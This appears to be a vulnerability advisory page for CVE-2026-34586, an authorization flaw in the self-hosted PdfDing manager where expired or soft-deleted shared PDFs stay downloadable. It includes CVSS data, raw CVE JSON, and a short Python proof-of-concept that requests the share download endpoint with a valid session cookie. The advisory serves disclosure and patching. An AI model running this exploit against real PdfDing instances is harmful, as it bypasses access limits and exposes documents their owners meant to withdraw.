Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-34586 CVSS 6.5 MEDIUM

CVE-2026-34586

Published: 2026-03-31 21:16:31
Last Modified: 2026-04-13 16:53:42

Description

PdfDing is a selfhosted PDF manager, viewer and editor offering a seamless user experience on multiple devices. Prior to version 1.7.1, check_shared_access_allowed() validates only session existence β€” it does not check SharedPdf.inactive (expiration / max views) or SharedPdf.deleted. The Serve and Download endpoints rely solely on this function, allowing previously-authorized users to access shared PDF content after expiration, view limit, or soft-deletion. This issue has been patched in version 1.7.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pdfding:pdfding:*:*:*:*:*:*:*:* - VULNERABLE
PdfDing < 1.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-34586 # Description: Accessing a soft-deleted or expired PDF using a valid session. TARGET_URL = "http://target-pdfding-instance.com" SHARED_PDF_ID = "shared_pdf_id_here" # ID of a PDF that is expired or deleted SESSION_COOKIE = "session_cookie_value" # Valid low-privilege session def exploit(): # Headers with a valid session cookie headers = { "Cookie": f"session={SESSION_COOKIE}" } # The endpoint to download the shared PDF # The server checks session existence but misses inactive/deleted checks url = f"{TARGET_URL}/api/share/{SHARED_PDF_ID}/download" try: response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! PDF content retrieved despite expiration/deletion.") print(f"[+] Content length: {len(response.content)} bytes") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34586", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:31.123", "lastModified": "2026-04-13T16:53:41.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PdfDing is a selfhosted PDF manager, viewer and editor offering a seamless user experience on multiple devices. Prior to version 1.7.1, check_shared_access_allowed() validates only session existence β€” it does not check SharedPdf.inactive (expiration / max views) or SharedPdf.deleted. The Serve and Download endpoints rely solely on this function, allowing previously-authorized users to access shared PDF content after expiration, view limit, or soft-deletion. This issue has been patched in version 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pdfding:pdfding:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "FBD640DD-0D1C-47AE-91D8-20DDD2A1DC09"}]}]}], "references": [{"url": "https://github.com/mrmn2/PdfDing/commit/a6783b259b25c839c52c6f2380333827a52e89eb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mrmn2/PdfDing/releases/tag/v1.7.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/mrmn2/PdfDing/security/advisories/GHSA-vfqx-2464-38wf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}